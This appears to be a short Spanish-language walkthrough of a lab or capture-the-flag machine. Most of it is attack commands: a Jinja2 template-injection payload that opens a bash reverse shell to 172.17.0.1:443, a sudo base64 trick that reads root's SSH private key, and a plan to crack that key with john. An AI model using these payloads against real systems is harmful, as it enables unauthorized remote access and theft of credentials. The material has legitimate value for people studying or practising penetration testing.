#Agregar documentacion

nos mandamos una revshell

{{self.**init**.**globals**.**builtins**.**import**('os').popen('bash -c \\'bash -i >& /dev/tcp/172.17.0.1/443 0>&1\\'').read()}}

y nos ponemos en escucha

sudo base64 /root/.ssh/id_rsa | base64 --decode

COnseguimos el id rsa

lo copiamos en un archivo y usamos john